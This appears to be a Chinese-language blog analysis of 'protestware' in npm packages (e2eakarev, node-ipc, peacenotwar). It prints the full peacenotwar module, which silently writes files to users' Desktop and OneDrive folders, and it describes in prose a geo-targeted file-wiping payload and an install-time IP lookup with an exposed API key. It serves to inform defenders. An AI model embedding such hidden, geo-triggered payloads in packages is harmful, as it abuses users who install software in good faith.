战争期间抗议软件的崛起:恶意代码如何成为意识形态工具

本文探讨了战争期间出现的抗议软件现象,分析了其技术实现方式,包括通过npm包传播的恶意代码、文件擦除行为以及利用OneDrive传播和平信息的具体代码示例。

战争期间抗议软件的崛起

在不断演变的网络安全威胁格局中,出现了一种令人不安的现象,挑战了传统恶意软件的概念。这就是“抗议软件”——一个让网络安全专家和个人都感到不寒而栗的术语。与传统恶意软件不同,抗议软件的设计目的不仅仅是利用漏洞或窃取敏感信息。相反,它利用其恶意意图来推进特定的意识形态或政治议程,使受害者陷入虚拟行动主义的交火中。

抗议软件示例

最近一个最引人注目的抗议软件样本来自npm(此处),这个著名的JavaScript存储库管理器。具体来说,名为e2eakarev的包实现了这种新兴恶意不需要软件的简单但重要的原型。一旦“受害者”通过npm install安装package.json,它会以下列方式驱动安装过程:

文件index.js在安装后过程中运行。index.js由以下代码实现:

1
2
// 代码内容:查询ipgeolocation.io(通过apikey: fa845b4108e34abe981624d400f18a5d)检查包是否在以色列安装
// 如果IP源地址匹配以色列IP代码库,则直接在控制台打印"PROTEST_MESSAGE"

基本上,它查询ipgeolocation.io(通过apikey: fa845b4108e34abe981624d400f18a5d)来检查包是否在以色列安装。如果IP源地址匹配以色列IP代码库,则直接在控制台打印"PROTEST_MESSAGE"。打印的消息在代码中(可在此处查看)如果您想阅读它。

并非所有抗议软件都一样

虽然e2eakarev是一个非破坏性的恶意软件,但许多其他抗议软件仍然表现得像擦除器(请查看此github存储库)。例如,node-ipc实现了一个很好的抗议软件,它会擦除受害者的文件。实际上,如果任何受害者使用俄罗斯或白俄罗斯的IP,他们所有的文件都将被完全擦除,并带有一个心形表情符号。在超时开始时手动设置25%的概率,使这件事看起来更像一个浮动错误而不是有意为之。这影响了从10.1.1到10.1.3之前的node-ipc包。从11.0.0版本开始,不再在此包的源代码中直接包含恶意代码。

然而,许多像peacenotwar(此处)这样的软件因其消息以及在外置驱动器甚至像OneDrive这样的网络驱动器上传播它们的能力而令人印象深刻。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import fs from 'fs';
import find from './service/findFiles.js';
import read from './service/readFile.js';
import { homedir } from 'os';

var Desktops = `${homedir}/Desktop/`;
var OneDrive = `${homedir}/OneDrive/`;
var OneDriveDesktops = `${homedir}/OneDrive/Desktop/`;

var DesktopFileExists=find(Desktops,'WITH-LOVE-FROM-AMERICA.txt');
var OneDriveDesktopFileExists=find(OneDriveDesktops,'WITH-LOVE-FROM-AMERICA.txt');
var OneDriveFileExists=find(OneDrive,'WITH-LOVE-FROM-AMERICA.txt');

function deliverAPeacefulMessage(path,message){
    try{
        fs.writeFile(
            path, 
            message,
            function(err){
                //its all good
            }
        );
    }catch(err){
        //thats ok
    }
}

//let's be polite and only do this once.
//hopefully once is all it takes.
if(!DesktopFileExists?.length&&!OneDriveFileExists?.length&&!OneDriveDesktopFileExists?.length){
    var thinkaboutit='WITH-LOVE-FROM-AMERICA.txt';

    var WITH_LOVE_FROM_AMERICA=read(`./${thinkaboutit}`);

    deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);
    deliverAPeacefulMessage(`${OneDriveDesktops}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);
    deliverAPeacefulMessage(`${OneDrive}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);
}

var whatWeWant='♥';

export {
    whatWeWant as default,
    whatWeWant
}

此模块将在用户的桌面上添加一条和平消息,并且只有在尚不存在的情况下才会这样做,以保持礼貌。此包的受影响版本容易受到不良行为的影响。它会在用户的桌面和OneDrive上创建文件。

结论

在我们结束对2023年抗议软件领域的探索时,很明显网络威胁的格局正变得越来越复杂和微妙。这种独特形式的恶意软件的兴起凸显了网络安全挑战的动态性质,超越了传统的经济利益或数据盗窃动机。

技术与行动主义之间的共生关系催生了一个新的前沿领域,虚拟抗议以代码的形式表现出来,渗透系统以破坏和传播不和。虽然抗议软件背后的动机可能源于意识形态或政治信念,但其后果远远超出了数字领域。

随着个人和组织努力应对不断演变的威胁格局,调整策略并加强防御以应对这一新兴威胁至关重要。网络安全措施必须发展,不仅要涵盖数据隐私和系统完整性的传统关切,还要涵盖抗议软件引入的社会政治维度。

在持续对抗抗议软件的斗争中,知识仍然是我们最强大的武器。通过保持知情和积极主动,我们可以共同建立对这种独特网络威胁的弹性防御,确保为所有人创造一个更安全、更可靠的数字未来。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计